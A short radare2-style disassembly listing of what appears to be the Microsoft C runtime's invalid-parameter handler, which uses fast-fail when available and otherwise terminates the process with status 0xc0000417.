mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x18005165a
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.18000390e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]